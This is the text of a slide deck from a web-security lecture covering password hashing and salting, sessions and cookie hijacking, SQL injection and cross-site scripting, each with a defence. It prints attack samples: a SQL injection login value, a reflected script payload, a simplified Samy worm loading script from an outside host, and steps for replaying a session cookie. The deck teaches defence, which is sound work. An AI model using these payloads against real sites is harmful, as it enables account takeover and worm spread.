User account and security

Security attacks overview



User negligence

80%


 

System misconception

20%

Cryptographic attacks
0.1%

Security attacks overview



User negligence

80%


 

System misconception

20%

Cryptographic attacks
0.1%

  • Passwords written on a board... on TV!
  • Users not logged out
  • ...

This lecture!

Specialized Master Degree

Register

Login

User actions

Register

Login

User actions

Corrupted DB: Password theft

Username Password
Ford 12345
Arthur foO
Marvin 12345
... ...
... ...

Database can be see by:

  • employees or their relatives,
  • pirates,
  • ...
Username Password
Ford 12345
Arthur foO
Marvin 12345
... ...
... ...

Database can be see by:

  • employees or their relatives,
  • pirates,
  • ...

Hash functions

Hash: Text

Digest

Easy

Almost impossible

Example: 12345

Fa54Qx

Username Password hash
Ford Fa54Qx
Arthur dQ5Lx4
Marvin Fa54Qx
... ...
... ...

Store hashed password

Authentification

username: Ford
password: 12345

Authentification

username: Ford
password: 12345

Check

hash(12345)=FA54QX

Authentification

username: Ford
password: 12345
Your are logged in!

Check

hash(12345)=FA54QX

Authentification

username: Ford
password: 12345

Check

hash(12345)=FA54QX
Your are logged in!

HTTPS

Username Password hash
Ford Fa54Qx
Arthur dQ5Lx4
Marvin Fa54Qx
... ...
... ...

Store hashed password

Username Password hash
Ford Fa54Qx
Arthur dQ5Lx4
Marvin Fa54Qx
... ...
... ...

Store hashed password

Rainbow tables, brute force attack, ...

Add random salt

hash(1UV+s12345) ➡️ XzbA3

random salt

user password

store in database:

1UV+sXzbA3

digest

Username Password hash
Ford 1UV+sXzbA3
Arthur rpoDi5QlxA
Marvin E+xkLq5x1s
... ...
... ...

Store salted and hashed password

Username Password hash
Ford 1UV+sXzbA3
Arthur rpoDi5QlxA
Marvin E+xkLq5x1s
... ...
... ...

Store salted and hashed password

digest

random salt

Authentification

username: Ford
password: 12345
Your are logged in!
Check
hash(1UV+s12345) = XzbA3

In Python/Flask

from werkzeug.security import (
   generate_password_hash, check_password_hash)

# In registration handler:
pwd = "12345"
pwd_hash = generate_password_hash(pwd)


# In login handler:
pwd = form["pwd"]
if check_password_hash(pwd_hash, pwd):
    return "Logged in!"
return "Wrong credentials", 401

Register

Login

User actions

Corrupted DB: Password theft

Hash passwords

Session

Bunch of data to identify a user (mainly username)

Session

Bunch of data to identify a user (mainly username)

Ephemeral to mitigate the session hijacking!

Two techniques

  • Session on server

  • Session in cookies

Session on server

  • Data stored on the server (file, memory, database...)
  • Each session has an identifier (sid, id, ...)
  • This identifier is often exchanged via cookies

Session on server

  • Data stored on the server (file, memory, database...)
  • Each session has an identifier (sid, id, ...)
  • This identifier is often exchanged via cookies

Pros:

  • small amount exchanged (cookies are sent at each request)
  • no size limit on data

Cons:

  • need to store data server side (can be complicated in case of distributed servers)

Session in cookies

  • Data stored in cookie
  • Session data can be read client-side but not written thanks to cryptographic mechanism (signature).

Session in cookies

  • Data stored in cookie
  • Session data can be read client-side but not written thanks to cryptographic mechanism (signature).

Cons:

  • consequent amount exchanged (cookies are sent at each request)
  • each request cannot exceed 4kb

Pros:

  • no state at all on the server!
Cookies: sid=aJ5Ke5;__utma=142543.221.52;__utmz=521441

http://my-site.com

Cookies: ssid=5aKa47ec;alert=false;v=0.19

http://example.com

Cookies: __utma=98465.316542213.65;__utmz=152357.6368432

http://bingo.org

are used to identify users

Cookies: sid=aJ5Ke5;__utma=142543.221.52;__utmz=521441

http://my-site.com

Cookies: ssid=5aKa47ec;alert=false;v=0.19

http://example.com

Cookies: __utma=98465.316542213.65;__utmz=152357.6368432

http://bingo.org

HttpOnly cookies

can not be read from JS

Hands on!
(easier on Firefox)

  1. Open a website on which you are logged in
  2. Open "developer tools" (F12) and select tab "Network"
  3. Reload the page and select the very first request
  4. Copy the line "Cookie : ..." from the request headers
  5. Open a private session (Ctrl + Shift + P)
  6. Visit the same website as in 1.
  7. Open the tab "Network" of "developer tools"
  8. Reload the page
  9. Select the very first request  and modify it by pasting
    the "Cookie: ... " line, then click on "send"
  10. A new request has been issued: select it and click on "Response"... Tada!

In Python/Flask

Plugin Flask-login

(see tutorials)

Register

Login

User actions

Corrupted DB: Password theft

session hijacking

Hash passwords

Ephemeral sessions

SQL injections

Innocent (?) code

name = form["name"]
pwd = form["pwd"]

cur.execute("SELECT * FROM users WHERE username='" + name
            + "' AND pwd='" + pwd + "'")

Innocent (?) code

name = form["name"] # "Ford"
pwd = form["pwd"]   # "12345"

cur.execute("SELECT * FROM users WHERE username='" + name
            + "' AND pwd='" + pwd + "'")
SELECT * 
FROM users
WHERE username='Ford' AND pwd='12345'

Results in:

Innocent (?) code

name = form["name"] # "root'; --"
pwd = form["pwd"]   # "AHAHA"

cur.execute("SELECT * FROM users WHERE username='" + name
            + "' AND pwd='" + pwd + "'")

Results in:

SQL Injection!

name = form["name"] # "root'; --"
pwd = form["pwd"]   # "AHAHA"

cur.execute("SELECT * FROM users WHERE username='" + name
            + "' AND pwd='" + pwd + "'")
SELECT * 
FROM users
WHERE username='root';--' AND pwd='AHAHA'

Results in:

name = form["name"]
pwd = form["pwd"]

cur.execute("SELECT * FROM users WHERE username='" + name
            + "' AND pwd='" + pwd + "'")

SQL Injection!

name = form["name"]
pwd = form["pwd"]

cur.execute("SELECT * FROM users WHERE username='" + name
            + "' AND pwd='" + pwd + "'")

SQL Injection!

Note: you even should not store passwords this way

SQL Injection!

https://xkcd.com/327/

Solution: query builder

name = form["name"]
pwd = form["pwd"]

cur.execute("""SELECT * 
               FROM users
               WHERE username=? AND pwd=?
            """, (name, pwd))

Solution: query builder

name = form["name"] # "root"
pwd = form["pwd"]   # "AHAHA"

cur.execute("""SELECT * 
               FROM users
               WHERE username=? AND pwd=?
            """, (name, pwd))

The special SQL characters are escaped:

SELECT * 
FROM users
WHERE username='root\';--' AND pwd='AHAHA'

Register

Login

User actions

Corrupted DB: Password theft

session hijacking

SQL injections

Hash passwords

Ephemeral sessions

Query builder

Register

Login

User actions

Corrupted DB: Password theft

session hijacking

SQL injections

Hash passwords

Ephemeral sessions

Query builder

Corrupt the server

Register

Login

User actions

Corrupted DB: Password theft

session hijacking

SQL injections

Hash passwords

Ephemeral sessions

Query builder

User action:
the basics

Never trust user input

Never trust user input

"Delete the post with id 42"

Never trust user input

"Delete the post with id 42"

"Nope, you don't
own this post!"

Never trust user input

Never trust user input

"Move ♜ from A8 to E5"

Never trust user input

"Move ♜ from A8 to E5"

"Err... Learn the rules of chess!"

Register

Login

User actions

Corrupted DB: Password theft

session hijacking

SQL injections

Hash passwords

Ephemeral sessions

Query builder

XSS attacks

Register

Login

User actions

Corrupted DB: Password theft

session hijacking

SQL injections

Hash passwords

Ephemeral sessions

Query builder

XSS attacks

Corrupt the client

XSS

Pirate making user run malicious JS

@app.route("/", methods=["GET"])
def hello():
    name = request.args['name']  
    return "Hello " + name + "!"

Innocent (?) handler

@app.route("/", methods=["GET"])
def hello():
    name = request.args['name']  
    return "Hello " + name + "!"

Innocent (?) handler

<script>
  publish("Powned!")
</script>

1. URL-encode

<p>Hey folks!</p>

<p>Check out my 
<a href="...">
new website!</a>
</p>

2. Send this email

%3Cscript%3E%0A%20%20publ
ish%28%22Powned%21%22%29%
0A%3C%2Fscript%3E

1. sends the link via emails or publishes it on a website

2. clicks on the link

3. Generates the malicious HTML code

4. sends back the HTML code

5. runs the code and performs AJAX call

6. Actually publishes the comment

Variation

The malicious code is in DB

1. My name is
"Zaphod<script>
set_name('powned!');</script>"

1. My name is
"Zaphod<script>
set_name('powned!');</script>"

2. Asks for Zaphod's page

1. My name is
"Zaphod<script>
set_name('powned!');</script>"

2. Asks for Zaphod's page

3. Generates the malicious HTML code

1. My name is
"Zaphod<script>
set_name('powned!');</script>"

2. Asks for Zaphod's page

3. Generates the malicious HTML code

4. sends back the HTML code

Real world Example

Worm Samy on MySpace

MySpace

Social network, users can provide a description

Schematic overview

Real worm was much more complex: MySpace did perform some partial escaping.

1. Samy set his description to:

I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
    <script src='http://samy.com/worm.js'>
    </script>
");

2. Samy serves this file at: http://samy.com/worm.js

1. Samy set his description to:

I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
    <script src='http://samy.com/worm.js'>
    </script>
");

2. Samy serves this file at: http://samy.com/worm.js

3. Bob sees Samy's page, he is now friend with Samy and his description is set to:

Samy is my hero
  <script src='http://samy.com/worm.js'>
  </script>

1. Samy set his description to:

I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
    <script src='http://samy.com/worm.js'>
    </script>
");

2. Samy serves this file at: http://samy.com/worm.js

3. Bob sees Samy's page, he is now friend with Samy and his description is set to:

Samy is my hero
  <script src='http://samy.com/worm.js'>
  </script>

1. Samy set his description to:

I'm a cool guy!
<script src='http://samy.com/worm.js'>
</script>
add_friend('Samy');
set_description("Samy is my hero
    <script src='http://samy.com/worm.js'>
    </script>
");

2. Samy serves this file at: http://samy.com/worm.js

3. Bob sees Samy's page, he is now friend with Samy and his description is set to:

Samy is my hero
  <script src="http://samy.com/worm.js'>
  </script>

3. Bob sees Samy's page, he is now friend with Samy and his description is set to:

4. Then, Alice sees Bob's page, she is now friend with Samy and her description is set to:

Samy is my hero
  <script src='http://samy.com/worm.js'>
  </script>
Samy is my hero
  <script src='http://samy.com/worm.js'>
  </script>
add_friend('Samy');
set_description("Samy is my hero
    <script src='http://samy.com/worm.js'>
    </script>
");

2. Samy serves this file at: http://samy.com/worm.js

3. Bob sees Samy's page, he is now friend with Samy and his description is set to:

4. Then, Alice sees Bob's page, she is now friend with Samy and her description is set to:

Each infected profile infects all his visitors!

Exponential growth!

Samy is my hero
  <script src='http://samy.com/worm.js'>
  </script>
Samy is my hero
  <script src='http://samy.com/worm.js'>
  </script>

10/04, 12:34 pm: 73 friends.

1 hour later, 1:30 am: 73 friends and 1 friend request.

7 hours later, 8:35 am: 74 friends and 221 friend requests.

1 hour later, 9:30 am: 74 friends and 480 friend requests.

1 hour later, 10:30 am: 518 friends and 561 friend requests.

3 hours later, 1:30 pm: 2,503 friends and 6,373 friend requests.
5 hours later, 6:20 pm: 2,503 friends. 917,084 friend requests.

1 hour later, 7:05 pm: MySpace is down.

One million profiles infected  in 20h.

Solutions

  • Server-side: HTML templates engines

  • Client-side: Javascript frameworks

(see tutorials)

Never directly write HTML in Python

Use document.createTextNode in JS to insert text

 

Or use frameworks like React, Vuejs, Angular.
Event better, use a language compiling to JavaScript like Elm, ReasonML, PureScript.

Register

Login

User actions

Corrupted DB: Password theft

session hijacking

SQL injections

XSS attacks

Hash passwords

Ephemeral sessions

Query builder

  • HTML Templates
  • JS frameworks

Security attacks overview



User negligence

80%


 

System misconception

20%

Cryptographic attacks
0.1%

  • Passwords written on a board... on TV!
  • Users not logged out
  • ...

This lecture!

Specialized Master Degree

Security attacks overview



User negligence

80%


 

System misconception

20%

Cryptographic attacks
0.1%

  • Passwords written on a board... on TV!
  • Users not logged out
  • ...

This lecture!

Specialized Master Degree

Developper negligence

Use battle tested tools

Never trust
user input

User account and security - TWTS 05

By sebbes

User account and security - TWTS 05

  • 962